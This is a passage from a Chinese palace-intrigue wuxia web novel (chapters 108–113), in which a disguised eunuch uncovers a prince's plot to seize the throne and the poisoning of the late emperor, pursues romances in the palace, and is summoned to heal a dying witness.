明远松开手，任由尸体倒在地上。他从袖中取出一个小瓶，正要处理现场，却听到外面传来脚步声。 与此同时，承明殿内。 上官煜大步流星地走进大殿，却并未向坐在龙座上的上官瑾行礼。 上官瑾看着这位越发跋扈的叔叔，眼中闪过一丝冷意。她轻轻敲击着龙座扶手，道：“皇叔今日在承明殿内就罢了，他日到了外朝，可不能忘了规矩。” “外朝那些忠臣良将，可都看着呢。”她意有所指地补充道。 上官煜眉头紧皱，面色不悦。他犹豫片刻，还是低声道：“是本王一时糊涂了。” 第一百零八章 来迟一步 上官煜作势要跪，上官瑾却摆了摆手：“罢了，皇叔有什么事就直说吧。” “臣此来，是为了请陛下赐婚。” “哦？”上官瑾眯起眼睛，手指停止了敲击，“皇叔看上哪家的姑娘了？” “西域圣女。” “不行！”上官瑾猛地站起身，龙袍下摆划出一道弧线。她双手撑在案几上，目光如刀般盯着上官煜。 “为何？”上官煜也不甘示弱地迎上她的目光。 “巫域与我大周势不两立，皇叔身为皇室宗亲，岂能与敌国联姻？”上官瑾冷声道，“父皇在时不会答应，朕现在也决不允许！” “我这可是正式通知于你，不是请求你的允许。”上官煜目露寒光，语气中带着不容置疑。 “这事儿，朕决不答应！”上官瑾重重拍了下案几。 殿外的宫女们被这声响吓得缩了缩脖子，低着头假装没听见里面的争执。 上官煜深深看了上官瑾一眼：“好一个大周的好皇帝，告辞！” 他转身离去，握紧的拳头青筋暴起。脚步声在空旷的大殿内回荡，显得格外刺耳。 另一边，秦烨已经来到刑部。 光线被高墙遮挡，使得刑部大院显得阴森可怖。门口的小吏见是他来了，立刻笑脸相迎，那谄媚的样子让人作呕。 “大人这边请，小的给您带路。” 秦烨点点头，和沈化林跟着小吏往里走。空气中弥漫着一股潮湿的霉味，混杂着不知名的腥臭。 拐过一个弯，迎面撞上一个人。 秦烨瞳孔一缩，是明远！ 两人都愣了一瞬，随即反应过来。明远毫不犹豫地一掌劈来，掌风凌厉，直取秦烨咽喉。 沈化林反应极快，一脚将明远踹飞出去。“砰”的一声巨响，明远重重撞在墙上，墙体都被撞出了裂痕。 “想不到在这里又遇到你。”秦烨冷笑着走近，眼中闪烁着危险的光芒。 明远见势不妙，纵身一跃就要逃走。他的轻功确实了得，几个起落就要窜上房顶。但沈化林比他更快，一把将他拽了下来。 “想跑？没那么容易！”沈化林将明远重重摔在地上。 明远脸色难看，知道这次在劫难逃。他的目光在四周游移，似乎在寻找逃脱的机会。 秦烨看着被制住的明远，心中暗暗盘算。这家伙突然出现在刑部大牢，肯定有问题。 “搜他身上。”秦烨吩咐道。 沈化林麻利地在明远身上搜了一遍，果然在他袖中发现了一个小瓶。打开一闻，是剧毒。 秦烨心中一凛，看来这家伙是来灭口的。他正要开口询问，突然听到一声惊呼。 “小心！” 秦烨猛然察觉身后劲风袭来，一声暴喝脱口而出。夜色中，那股凌厉的杀气仿佛要将空气撕裂，直指要害。 沈化林身形一闪，衣袖翻飞间带起一阵疾风。他堪堪避过这道攻势，脚下步伐却丝毫不乱，显露出多年在宫中练就的深厚功力。 月光下，一抹红影掠过，竟是一名女子。她的身法轻盈如燕，每一个动作都带着说不出的诡异韵味。那双眼睛在夜色中泛着幽光，令人不寒而栗。 此时容不得半点怜香惜玉，沈化林右掌运劲，周身气势陡然一变。他的掌风裹挟着雄浑内力，如同山岳般凝重，轰然而出。空气中传来一声闷响，仿佛天地都为之一震。 那红衣女子显然没料到沈化林竟有如此实力，被这一掌震退数丈。她在空中一个翻转，红衣猎猎，宛如一片飘零的红叶，转瞬消失在夜色中。 秦烨目光如电，扫视四周。他发现明远早已趁乱逃离，心中不禁暗叫可惜。夜风吹过，带来一丝凉意，也带来了更多的疑问。 “这两人的武功……”秦烨皱眉看向沈化林，语气中带着几分凝重。 沈化林抚了抚胸口，方才那一掌虽然击退对手，但他也并非毫发无损。“属下从未见过如此诡异的功法。”他神色凝重，眼中闪过一丝忌惮，“那明远的内力运转方式，与传说中的噬月大功颇为相似。” 这句话让秦烨心头一震。噬月大功，这个名字他并不陌生。江湖中流传着无数关于这门功法的传说，据说修炼者可以吸收他人内力为己用，是一门极其霸道的武功。 若真是噬月大功，那芮容霄的恐怖实力就说得通了。难怪能在江湖中独占鳌头，位列兵器录第一。想到这里，秦烨不由得攥紧了拳头。 “走，先去看张马临。”秦烨沉声道，语气中带着不安。 一行人快步赶往刑部大牢，沿途的守卫纷纷行礼。然而当他们来到牢房前，眼前的景象却让秦烨心头一沉。 张马临已经死去多时，尸体早已冰冷。他的脸上还残留着痛苦的神色，显然死前经历了非人的折磨。牢房中弥漫着一股诡异的气息，让人不寒而栗。 “来迟一步。”秦烨叹了口气，“去他府上看看。” 与此同时，上官煜的临时府邸中。 华灯初上，书房内烛光摇曳。“主上，明远受了重伤。”苏华搀扶着面色苍白的明远进入书房，声音中带着几分焦急。 上官煜放下手中书卷，眉头微皱。烛光映照下，他的面容显得格外深邃。“怎么回事？” “遇到了影卫。”苏华低声道，眼中闪过一丝忌惮，“那老者武功高强，我想偷袭救人，却也吃了一掌。” 上官煜起身，掌心涌出一股温和内力，将明远托起。那内力绵绵不绝，如春风化雨，片刻之后，明远面色渐渐恢复红润。 “多谢主上。”明远跪地叩谢，声音中带着深深的敬畏。 上官煜又为苏华疗伤，随后目光落在案桌上的密件上。烛光下，他的眼神变得锐利起来：“看来不能再等了。” “苏华，你去联络那些大臣。” “明远，召集教中好手，在汴城外埋伏待命。” “是！”二人领命而去，脚步声在走廊中渐渐远去。 苏华临走前犹豫道：“主上是要……”她的话没说完，但意思已经很明显。 “皇帝不给我面子，那我也不必给他面子了。”上官煜冷笑一声，眼中闪过一丝寒光。 第一百零九章 事态严峻 承明殿内，上官瑾正在批阅奏章。宫灯明亮，却照不进她心中的阴霾。 今日与上官煜一见，对方那肆无忌惮的态度，让她意识到事态严峻。朝堂上暗流涌动，一场风暴正在酝酿。 案上密信堆积如山，都是给边关将领的密令，命他们随时准备平叛。每一封信都像一把双刃剑，既可以保护皇权，也可能成为反噬的利器。 可国库空虚，军饷拖欠已久。这些将领，究竟是否还会听命于她？上官瑾揉了揉太阳穴，心中愁绪难解。烛光下，她的身影显得格外孤单。 夕阳西下，汴城禁军将张马临府邸围得水泄不通。一个个手持长枪的士兵目光警惕，腰背挺得笔直。 秦烨站在府邸外，望着那高耸的围墙，眼底闪过一丝深意。作为皇帝身边的红人，他深知这次搜查的重要性。 “秦总管。”为首的禁军统领快步迎上前，躬身行礼。 “嗯。”秦烨微微颔首，目光扫过那些整齐列队的禁军，“府内可有异常？” “回禀总管，一切正常。张大人被带走后，府中下人都被控制起来了。” 秦烨轻轻点头：“奉陛下旨意前来搜查，开门吧。” “是！” 随着一声沉重的吱呀声，那扇朱漆大门缓缓打开。腐朽的木头散发出阵阵霉味，让人不由皱眉。 “沈化林。”秦烨唤了一声。 “属下在。”身后传来恭敬的应答。 “跟我进去。” 二人迈步入内，眼前的景象却让秦烨微微一怔。作为工部尚书的府邸，眼前的一切显得格外寒酸。 庭院里杂草丛生，几间房屋也显得破旧不堪。墙角处堆积着腐烂的落叶，院中的石桌上布满青苔。若不是手中握有确凿的贪污证据，任谁看了这光景都会以为张马临是个两袖竹月的清官。 “这老狐狸，装得还挺像。”秦烨冷笑一声，“知道朝廷早晚会查，提前就做好了准备。” 沈化林跟在身后，低声道：“张马临确实狡猾，这些年来一直以清廉形象示人。” “可惜啊。”秦烨摇头，“再狡猾的狐狸也有露出尾巴的时候。” 穿过几进院落，空荡荡的庭院显得格外冷清。偶尔有几只麻雀从屋檐下掠过，发出“唧唧”的叫声。 来到书房前，秦烨推开那扇略显陈旧的木门。扑面而来的霉味让他不由后退半步。 房间内陈设简单，一张书案，几把椅子，墙边摆着几个书架。架上的书籍看起来都很陈旧，有些甚至已经发黄。 “搜。”秦烨简单吐出一个字。 沈化林会意，开始仔细检查房间的每个角落。作为影卫出身的老手，他对寻找机关暗室再熟悉不过。 “咚咚咚。” 沈化林用手轻叩墙壁，仔细聆听声音的变化。每一寸砖缝都不放过，每一处可疑的地方都要反复确认。 秦烨则在书架前驻足，随手抽出几本书翻看。这些书大多是些常见的典籍，没什么特别之处。 “公公。”突然，沈化林的声音传来。 秦烨转身，只见他正蹲在书房一角，用脚轻轻叩击地面。 “咚咚”的声响明显不同。 “发现什么了？”秦烨快步走过去。 “这块地砖，声音不对。”沈化林指着脚下，“应该是中空的。” 秦烨蹲下身仔细观察，果然发现那块地砖的缝隙比其他地方要宽一些。 “打开看看。” 沈化林点头，手掌猛地拍下。 “砰！” 地砖碎裂，露出下方的一个木匣。 沈化林小心翼翼地取出木匣，递给秦烨。匣子看起来很普通，但分量不轻。 “你先回避。”秦烨挥了挥手。 待沈化林退到门外，他才打开木匣。里面是一本装帧简陋的册子和一封泛黄的信。 册子上布满了奇怪的符号，完全看不懂是什么文字。秦烨皱眉思索片刻，又唤来沈化林。 “你来看看这是什么文字。” 沈化林接过册子仔细端详，却也摇头：“属下也不认得，像是某种暗文。” “看来得找专人来破译了。”秦烨若有所思地说。 放下册子，他又拿起那封泛黄的信。拆开后，几张同样泛黄的信纸映入眼帘。 这时，一阵微风从窗外吹来，吹动了信纸的一角。秦烨心中突然涌起一股莫名的预感。 他仔细展开信纸，目光在上面快速扫过。随着阅读的深入，他的表情逐渐变得凝重。 “有趣，这些人总喜欢把秘密写在纸上，生怕别人不知道似的。”秦烨轻笑一声。 信纸上的内容，与他此前在戴国公端木正府上所获的书信有着千丝万缕的联系。只是其中的主角，却从当今女帝上官瑾变成了另一个人——上官煜。 屋内一片寂静，只有窗外偶尔传来几声鸟鸣。秦烨站起身，踱步到窗前。院中的梧桐树叶随风轻摆，在地上投下斑驳的影子。 “上官煜……”他低声呢喃，目光逐渐变得深邃。 回想起当年的事，一幕幕往事如走马灯般在脑海中闪现。那时的大周先帝年事已高，正值储君未定之际。其胞弟上官煜，无疑是最合适的人选。不仅朝野上下皆知此事，就连先帝本人也对这位弟弟颇为看重。 可谁能想到，就在即将继承大统之时，上官煜露出了狐狸尾巴。 “巫域之战……”秦烨眯起眼睛，手指轻轻敲击着窗框。那场战事，成了上官煜命运的转折点。先是在战略部署上与先帝意见相左，后又与巫域势力暗通款曲。这一系列举动，彻底惹怒了先帝。 秦烨重新展开信纸，目光落在最关键的部分。信中提到，眼见皇位即将失之交臂，上官煜竟勾结御医署的内应，在先帝的汤药中下毒，最终导致先帝驾崩。 “原来如此……”他冷笑一声，眼中寒光闪烁。这个真相，与端木正府上所得的信件内容大相径庭。但他更倾向于相信手中这封张马临所写的信。毕竟张马临是上官煜的心腹，亲身经历了这一切。 然而事情并未如上官煜所愿。先帝早已暗中留下遗诏，立宁王上官瑾为帝。在大周严苛的藩制之下，上官煜只得离京就藩，沦为了一个闲散藩王。 “为了皇位，叔侄相残，父子反目，真是好一出大戏啊。”秦烨将信纸折好收起，眼中闪过一丝莫名的笑意。 第一百一十章 调戏女帝 正当秦烨准备离开时，门外传来急促的脚步声。 “大人！”一个身着灰衣的男子快步走入，“藩王府那边又有动静了。” 秦烨挑了挑眉，“说。” “上官煜今日入宫面见陛下，请求增加藩地驻军。”灰衣人压低声音，“但被陛下拒绝了。” “增加驻军？”秦烨轻笑，“看来这位王爷是坐不住了。” “不仅如此，”灰衣人继续道，“我们的人发现，最近有不少江湖人士频繁出入藩王府。” 秦烨眸光一闪，“查清楚是哪些人了吗？” “暂时还没有，那些人行踪诡秘，很难跟踪。” “继续盯着，有任何异动立刻报告。” “是！”灰衣人领命退下。 秦烨望着窗外渐渐西沉的太阳，眼中闪过一丝思索。上官煜这是准备孤注一掷了吗？ 夜幕降临，承明殿内。 “你今日去了何处？”上官瑾听到脚步声，头也不抬地问道。烛光下，她正专注地批阅奏折，纤细的手指在宣纸上轻轻划过。 “四处闲逛，陛下可是想我了？”秦烨笑着走到她身边坐下，顺势搂住她的纤腰。 “放肆！”上官瑾嗔怒，但语气中却没有多少怒意。 “你这是怎么了？为何愁眉不展？”秦烨注意到她眉间的一丝忧色。 “与你何干。”上官瑾别过头去，试图推开他不安分的手，却被他抱得更紧。 “让我猜猜，是不是上官煜又在捣鬼？” “你……”上官瑾惊讶地看着他，随即叹了口气，“皇叔确实让人头疼。” 她放下手中的奏折，简单说了今日发生的事。上官煜以边境不稳为由，请求增加藩地驻军，不仅如此，还请求迎娶法女。这些要求若是答应，无异于给他养虎为患。 “陛下要多加小心，”秦烨的语气变得严肃，“上官煜可不是表面上看起来那么简单。今日拒绝了他的请求，他定然不会善罢甘休。” “父皇生前就提醒过我，皇叔的谦谦君子不过是伪装。”上官瑾眼中闪过复杂的情绪。 沉默片刻，她又问：“你之前说要组建江湖势力，现在进展如何？” “已有眉目，陛下尽管放心。”秦烨嘴角勾起一抹笑意，从背后搂住上官瑾，一双手不安分地往上游走，“不过，我为大周操劳至此，陛下是不是该犒赏一番？” “你想做什么？”上官瑾警惕地盯着他。 “陛下心里清楚得很。”他的手已经探入她的衣领。 啪！一记清脆的耳光响起。 “你居然真打？”秦烨瞪大眼睛，有些不可思议地摸着自己的脸颊。 “对付你这种登徒子，就该用这种手段。”上官瑾冷哼一声，但耳根已经悄然泛红。 “那好，今晚我就不留在承明殿了。”秦烨故作生气道，“让陛下自己应付那些饥渴的后妃吧。” 上官瑾俏脸一变。若是没有秦烨在，那些如狼似虎的嫔妃闯入寝宫，她该如何是好？难道真要用秦烨说的那种方式？ 看着她慌乱的模样，秦烨得意一笑。“怕了？那就赶紧认错。” “你……”上官瑾咬着唇，眼中闪过一丝羞恼，起身欲离开，却被秦烨一把拉住。 夜色渐浓，承明殿内一片寂静。烛光在微风中轻轻摇曳，在墙上投下摇晃的影子。 上官瑾俏脸微红，眼神闪烁不定，纤细的手指无意识地绞着衣角。她站在那里，像一朵娇艳欲滴的花，却又带着几分惶恐。 “秦公公……”她轻声唤道，声音里带着几分颤抖。 秦烨大马金刀的坐在龙座上，目光深邃地看着她。殿内的气氛一时有些凝重。 “时候不早了，再拖下去，其他嫔妃该来了。”秦烨皱眉说道，语气中带着几分不耐。 上官瑾咬着下唇，眸中闪过一丝慌乱：“可是……” “你难不成想看着后宫佳丽识破真相？”秦烨的声音陡然提高。 上官瑾被这突如其来的质问吓了一跳，娇躯微微一颤。她低着头，手指绞得更紧了。 “本来我也不想这样对你，谁让你对我动手动脚？”她小声嘟囔着。 秦烨却不耐烦听下去，直接拽着上官瑾往自己怀中倒去，低下头吻住早已觊觎多时的樱唇。 “呜……”上官瑾想要反抗，却最终放弃了挣扎。她知道，在这件事上，自己理亏。 殿外传来更夫打更的声音，提醒着时间的流逝。 清晨，阳光透过窗棂洒进承明殿。秦烨站在院中，感受着晨光的温暖。难得清闲，他决定抓紧时间修炼七星养气诀。 功法运转间，一股暖流在经脉中缓缓流淌。这门功法究竟是完整版还是残缺版，他心里也没个底。不过眼下也管不了那么多，先把手头的功法练好再说。 汗水顺着额角滑落，秦烨一边运转功法，一边回想沈化林教的那些招式。说来惭愧，虽然有了内功心法，但他连最基本的招式都不太熟练，打起架来全靠蛮力硬拼。 “这样下去不行。”他喃喃自语，“遇到同境界的高手，怕是要吃大亏。” 想到这里，秦烨不由加快了练习的速度。一招一式间，渐渐有了些章法。拳风呼啸，脚步轻盈，每一个动作都力求完美。 “秦公公。”一个太监的声音突然响起。 秦烨停下动作，擦了擦额头的汗水：“什么事？” “皇后娘娘身边的兰馨姑姑来了，说娘娘想请您过去把把脉。” 提到司马玉华，秦烨眼中闪过一抹柔和。她肚子里怀着自己的孩子，这段时间确实该多去看看她。 “知道了，我这就去。” 来到长春宫外，雨竹眼睛一亮，随即又露出幽怨之色：“秦公公总算想起我们了？这些日子，您都去哪里快活了？” “这段时间确实忙，疏忽了你。”秦烨上前将她揽入怀中，闻着她发间的香气。 雨竹扭头要挣脱：“哼，男人的借口。您是不是又去别的宫里了？” “别生气，这次我得好好补偿你。”秦烨轻声哄道。 “不稀罕。”雨竹嘴上这么说，眼里却带着笑意，“您是来看娘娘的吧？” “是来看你的，顺便看看娘娘和孩子。” “你……！”雨竹气鼓鼓地瞪着他，“净会说好听的。” 经过一番哄劝，雨竹才消了气，转身去给司马玉华通报。 第一百一十一章 雨竹承恩 “秦太医，娘娘正在等您。”去而复返的雨竹行礼，声音轻柔。 秦烨整理了下衣袍，迈步走入殿内。司马玉华正倚在软塌上休息，见他进来，她撑着身子想要起身。 “娘娘莫要多礼。”秦烨快步上前，伸手虚扶，“您现在身子要紧，还是安心坐着。” 司马玉华抚着微隆的腹部，脸上浮现出温柔的笑意。她的面容比往日略显憔悴，但眼中却带着做母亲的喜悦。 “这些日子，陛下可曾来过？”秦烨一边为她把脉，一边随口问道。指尖传来的脉象平稳有力，显然胎儿发育良好。 “陛下公务繁忙，偶尔才能抽空过来看看。”司马玉华轻声道，眼中闪过一丝落寞，但很快又恢复如常，“每次来都叮嘱我要好生将养。” 秦烨听出她语气中的甜蜜，心中稍安。看来上官瑾暂时还没对她下手。他的目光不经意间扫过桌上的茶盏，里面盛着清水。 “娘娘怎么不品茶？” “听闻茶水不利于胎儿。”司马玉华小心翼翼道，手不自觉地抚上腹部。 秦烨失笑：“这倒是多虑了。适量饮茶无碍，反倒能提神醒脑。”他沉吟片刻，“不过娘娘的饮食确实需要讲究。待我拟一份膳单，您照着食用便是。” “有劳太医了。”司马玉华点头，眼中流露出感激之色。 秦烨转头看向一旁的雨竹：“药材可备齐了？” “都准备妥当了。”雨竹答道，声音清脆悦耳。 秦烨点点头，神色变得严肃：“娘娘要格外当心。宫中暗流涌动，觊觎您腹中骨肉的人不少。饮食用药都要谨慎，切不可大意。” “本宫明白。”司马玉华神色凝重，手不自觉地护住腹部。 秦烨看着她日渐隆起的腹部，忽然道：“娘娘，可否让我听听胎儿的情况？” 司马玉华略显羞涩，但还是点头应允。秦烨俯身贴近她的腹部，虽然知道现在胎儿尚小，不可能有什么动静，但他还是认真地听了许久。 【毕竟，这是我的孩子。】这个想法让他心中涌起一股难以言喻的情绪。 “胎儿一切安好。”秦烨直起身，安抚道。 交代完注意事项，秦烨告退出殿。心情沉重了几分。宫中局势愈发复杂，他必须加倍小心。 回到承明殿偏殿，却不曾想雨竹竟在外候着，见他出来便笑问：“娘娘情况如何？” “都好。”秦烨揽住她的腰，将她拉入阴影处，“想我没有？” “谁想你了？”雨竹红着脸躲闪，但眼中却带着笑意。 “不想为夫，可是要受罚的。”秦烨佯装严肃，手上却不老实地捏了捏她的腰。 “你都不想我，凭什么我要想你？”雨竹嗔道，眼波流转间满是风情。 秦烨不由分说将她抱起，大步走向偏殿。雨竹惊呼一声，连忙搂住他的脖子。 不多时，男人压抑的粗喘声和女人细碎的娇吟声从偏殿漏出些许。 半个时辰后。 “你真坏。”雨竹喘息着埋怨，脸上还带着红晕。 “男人不坏，女人不爱。”秦烨笑着亲了亲她的额头，手指轻轻抚过她光滑的后背。 就在这时，外面传来急促的脚步声。 “秦太医，陛下宣您入宫！” 秦烨眉头一皱，连忙整理衣衫。雨竹也赶紧起身帮他系好腰带。 “可知陛下为何事召见？” “似乎是关于影卫韩九的事。”来人答道。 秦烨心中一动。韩九奉命调查巫疆秘事已有月余，难道有了新的发现？ “我这就去。”他转身对雨竹道，“你先回去，有空的时候我去找你。” 雨竹点点头，目送他离开。 与此同时。 一队人马正疾驰在通往汴城的官道上，马蹄声如雷，激起阵阵尘土。 为首的正是影卫韩九。他们奉命调查巫疆秘事，历经艰险终于有了眉目。韩九不时回头看向身后的马车，眼中满是焦急。 车里头躺着个面无血色的老大爷，身旁有影卫不断为其输送真气续命。这老者是他们调查时偶遇的重要人物，知晓当年皇位之争的内幕，还与巫疆秘事有关。 作为当年宫中变故的亲历者，老者将秘密告知了他们。那个秘密，足以掀起惊天波澜。 “快些！”韩九一声令下，马队速度再次提升。 他们必须赶在老者咽气前抵达汴城。这个秘密，或许能改变整个局势。 夕阳西斜，暮色渐浓，秦烨离开长春宫时，天边已染上一抹橘红。宫墙投下的阴影在地上拉得老长，仿佛要将整个皇城吞没。 他本该回承明殿复命，但此刻女帝上官瑾并无要事。站在宫门前，秦烨抬头望着渐暗的天色，心中有些忧虑。武勇和小师妹沈飞雪的安危，始终如一根刺般扎在他心头，让他难以安宁。 穿过重重宫墙，避开巡逻的禁军，秦烨快步来到汴城商会。商会门前的灯笼已经点起，在暮色中散发着昏黄的光晕。 “秦公公。”熟悉的声音传来，柳霜华迎了上来。她眼神闪烁，带着几分复杂难明的情绪。 秦烨心中一动，却装作没看见，拱手问道：“武勇和嫂嫂可在？” “在后堂。”柳霜华语气生硬，与往日的亲切判若两人。她垂着头，刻意避开秦烨的目光。 这时，脚步声响起，柳富金从内堂踱步而出。见到秦烨，他连忙躬身行礼：“秦公公大驾光临，有失远迎啊。” “柳会长客气了。”秦烨还礼道，“这次多亏您收留武勇他们，秦烨感激不尽。” “哪里哪里。”柳富金连连摆手，脸上堆满笑容，“张兄生前与我交好，如今他遭此横祸，照顾他的家眷是应该的。” 秦烨点点头，跟着柳霜华往后堂走去。一路上，柳霜华始终沉默不语，只是时不时偷瞄秦烨一眼，欲言又止的模样。 走廊幽长，脚步声在寂静中格外清晰。秦烨心知肚明，这丫头定是得知了自己“太监”的身份，心中不是滋味。他故意放慢脚步，轻声问道：“霜华姑娘，你似乎有心事？” 柳霜华的脚步一顿，咬了咬嘴唇：“秦公公……你真的是……太监吗？” “是啊。”秦烨淡然一笑，“这有什么好隐瞒的。” 柳霜华脸色瞬间煞白，加快脚步往前走去，背影透着说不出的落寞。秦烨看着她远去的身影，暗自叹息。这个秘密暂时只能瞒着，不然后果不堪设想。 第一百一十二章 开导嫂嫂 来到后堂，柳霜华高声道：“武大哥，秦公公来了。” 房门吱呀一声开了，武勇大步流星走了出来。他身形魁梧，脸上带着憨厚的笑容：“恩公！” “近来可还习惯？”秦烨关切地问道。 “托恩公的福，吃住都不错。”武勇笑道，“我这种江湖人，哪有什么不习惯的。只是……”他的笑容渐渐收敛，“嫂嫂她……” 秦烨心中一沉：“嫂嫂如何？” 武勇叹了口气，声音低沉：“这几日以泪洗面，我和师妹劝也劝不住。恩公不妨去开导开导她。” 秦烨点点头，又问：“小师妹呢？” “她出去了。”武勇压低声音，左右张望了一下，“小师妹行踪不定，不过恩公不用担心，她行事很谨慎。” 秦烨轻轻推开房门，屋内昏暗一片，只有一盏油灯在角落里微弱地闪烁。商媛呆坐床边，双目无神，眼角还挂着未干的泪痕。往日明艳照人的美人，此刻憔悴不堪，仿佛一夜之间苍老了十岁。 “嫂嫂。”秦烨轻声唤道。 “秦烨！”商媛猛地抬头，泪水夺眶而出。她踉跄着站起身，扑向秦烨，紧紧抱住他失声痛哭。 秦烨手足无措，不知该如何安慰这个失去丈夫的可怜女子。他只能干巴巴地说道：“嫂嫂，节哀。” “为什么……为什么会这样……”商媛泣不成声，“他明明说好要陪我白头偕老的……为什么说走就走……” 秦烨轻轻拍着她的后背：“赵兄在天之灵，也不愿看到嫂嫂这般伤心。” “我知道……可是……”商媛抽泣着，“没有他，我该怎么活下去……我好害怕……” “嫂嫂放心，有我在，定不会让你受委屈。”秦烨郑重承诺。 商媛抬起泪眼：“真的吗？” “自然。”秦烨点头，“赵兄待我如兄长，我自当照顾好他的家人。” 商媛又哭了一会，情绪渐渐平复下来。她这才意识到自己还抱着秦烨，连忙松开手退后几步，脸上泛起一抹红晕：“对不起……我太失态了……” “无妨。”秦烨宽慰道，“嫂嫂节哀顺变，保重身体要紧。” 商媛擦干眼泪，勉强挤出一丝笑容：“多谢你。” “没事的嫂嫂，凡事有我，我能给嫂嫂依靠，让我抱抱你。”秦烨轻声说道，声音里带着不易察觉的颤抖。 商媛的抽泣声更加剧烈了，她的肩膀不住地抖动，泪水打湿了秦烨的衣襟。屋内昏暗的烛光下，她的身影显得格外单薄而脆弱。 失去丈夫的痛苦让她几近崩溃，此刻的她，只想寻一个依靠。窗外的风吹动着纱帘，带来一阵凉意，却无法抚平她内心的伤痛。 秦烨看着眼前这个脆弱的女人，心中五味杂陈。赵马玄的死，对商媛来说不仅仅是失去了丈夫，更是失去了生命中最重要的支柱。 他伸手轻轻拍着商媛的后背，柔声道：“嫂嫂放心，以后有我在。”顿了顿，他又补充道，“若是连这点小事都做不到，又怎么对得起张兄在天之灵？” “嗯……”商媛轻轻点头，靠在秦烨肩上的身子微微颤抖。她的手紧紧抓着秦烨的衣袖，仿佛抓住了最后一根救命稻草。 屋内的烛火摇曳，在墙上投下两人交错的影子。渐渐地，她的抽泣声小了下来，但那种深入骨髓的悲伤却始终萦绕在心头。 抬起头，商媛看着秦烨的脸庞，不由自主地伸手触碰。她的指尖轻轻划过秦烨的轮廓，那双哭得红肿的眼睛里闪烁着复杂的光芒：“秦烨，让嫂嫂靠一会儿。你身上的气息，真的很像他……” 秦烨的身体微微一僵，但很快就放松下来：“嫂嫂请便。”他的声音轻柔，却带着一丝说不清道不明的情绪。 “我们去床边坐吧。”看着商媛疲惫的神色，秦烨提议道。他扶着商媛缓缓走向床边，每一步都小心翼翼，生怕惊扰了她此刻脆弱的心绪。 来到床边，商媛靠在秦烨怀中，很快就沉沉睡去。这几日来，她一直处在极度悲痛中，几乎没有好好休息过。此刻在秦烨怀中，她终于找到了一丝安宁。月光透过窗棂，洒在她的脸上，让她看起来格外苍白。 看着商媛安详的睡颜，秦烨的眼神渐渐变得锐利。芮容霄，这个害得赵兄夫妻阴阳相隔的凶手，他一定要亲手解决。想到这里，他的手不自觉地握紧，指节发出轻微的响声。 但随即，他又皱起眉头，眼中闪过一丝忧虑。芮容霄此人实力深不可测，而且根据种种迹象表明，他很可能就是上官煜。虽然这只是推测，但如果属实，那就意味着对手远比想象中更加可怕。 就在秦烨思索间，商媛在睡梦中将他抱得更紧了。她的呼吸均匀而绵长，却时不时发出细微的啜泣声，想必是梦到了什么。秦烨本想将她放到床上，却又担心惊醒了她，只好就这样让她靠着。 房间里一片寂静，只有窗外传来几声零星的虫鸣。时间在这样的静谧中缓缓流逝。 大约过了一个时辰。 “吱呀”一声，房门被推开。 沈化林快步走了进来，他的脚步很轻，但眼神却异常警惕。作为秦烨的贴身护卫，他一直在暗中保护，此刻突然现身，必定是有要事。 “什么事？”秦烨压低声音问道，生怕惊醒了商媛。 “陛下召见，要您立即回宫。”沈化林恭敬道，说话时目光始终避开床上的场景。 这时商媛也迷迷糊糊醒来，她揉了揉惺忪的睡眼，一时间还有些恍惚。秦烨轻声说道：“嫂嫂，我有要事需要处理，你继续休息。” 商媛虽有不舍，但还是点了点头，松开了手。她的目光一直追随着秦烨的背影，直到他消失在门口。 与此同时，承明殿内。 宫灯明亮，檀香袅袅，但整个大殿却笼罩着一层沉重的气氛。上官瑾站在大殿中央，面色凝重地看着床上奄奄一息的老者。老者的脸色苍白如纸，呼吸微弱，随时可能断气。 “陛下，此人是先帝驾崩时的亲历者，很可能知道真相。但他已经被人重伤，我们只能勉强用真气维持他的生命。”韩九在一旁汇报道，声音里带着一丝焦急。 “御医署那边朕信不过。”上官瑾眉头紧锁，她的手指无意识地敲击着龙座扶手，“不过朕已经让人去请一个高手来了。” “不知陛下说的是何人？”韩九好奇道。他环顾四周，发现殿内的侍卫都被遣退，显然这件事非同小可。 话音刚落，殿门被推开，发出沉重的声响。 第一百一十三章 救助老者 秦烨大步走了进来，他的脸上还带着些许风尘仆仆的痕迹。 看到他的身影，上官瑾眼前一亮：“秦烨，快来看看，此人还有救吗？”她的声音里带着期待和急切。 秦烨走到床前，仔细查看老者的情况。他的脸色瞬间变得严肃起来，眉头紧锁。 床榻上的老者面容惨白，双唇泛着不正常的青紫色。他的胸口微弱起伏，每一次呼吸都像是在与死神搏斗。秦烨站在床边，仔细打量着老者的状况，心中暗自思忖。 “这伤势……按理说早该断气了。”他的手指轻轻搭上老者的手腕，感受着那微弱得几乎难以察觉的脉搏。 就在这时，一股凌厉的气息突然从四面八方笼罩而来。秦烨只觉得呼吸一滞，仿佛被无形的绳索束缚。 “住手！”一声厉喝在殿内响起。 几名身着影卫服饰的高手瞬间将秦烨团团围住。他们目光如刀，每个人身上都散发着不容忽视的威压。 秦烨缓缓转身，目光越过重重包围，看向殿门处站立的上官瑾。他的眼中带着询问，却并未开口。 “此人身份特殊，伤势极重。”为首的影卫冷声开口，声音中带着警告，“我等费尽心力才将他救出，若是有半点闪失，你可承担不起这个责任。” 空气仿佛凝固了一瞬。 “秦烨是朕信任的人。”上官瑾开口打破了这份凝重。她的声音不高，却带着不容置疑的威严。 几名影卫面露难色，其中一人上前拱手：“陛下，老者性命攸关，事关重大。不如请御医署的名医前来？毕竟他们更有经验……” “御医署的人，朕信不过。”上官瑾打断了他的话，语气中带着一丝寒意。 另一名影卫试探着开口：“那……不如请神医周明德？他的医术举世闻名……” “周明德神医云游四方，采药济世。”秦烨冷笑一声，目光扫过在场众人，“就算知道他在哪，等他赶来，这位老先生只怕早就咽气了。” 他的视线在几名影卫脸上逐一掠过：“你们用真气吊着他的命，能撑多久？一天？两天？” 影卫们面面相觑，无人敢答。 秦烨能清晰地感受到，老者的生机正在以肉眼可见的速度流逝。若再耽搁下去，恐怕连明日的朝阳都等不到。 “让开。”他的语气沉了下来，眼中闪过一丝锐利，“再拖下去，你们就真成了大周的罪人。” 几名影卫仍是犹豫不决，目光不断在上官瑾和秦烨之间游移。 “让他治。”上官瑾淡淡开口，三个字化解了殿内的僵局。 影卫这才让出一条路来。秦烨快步上前，手指再次搭上老者的脉门。脉象较之方才更加微弱，若非几名影卫轮番灌输真气维持，只怕早已油尽灯枯。 秦烨收回搭在老者脉门上的手，眉头紧锁。殿内烛火摇曳，将他的影子拉得很长，映在冰冷的地面上。 “如何？”上官瑾的声音透着一丝焦急，她的手指无意识地绞着衣袖。作为一国之君，此刻却也难掩担忧。 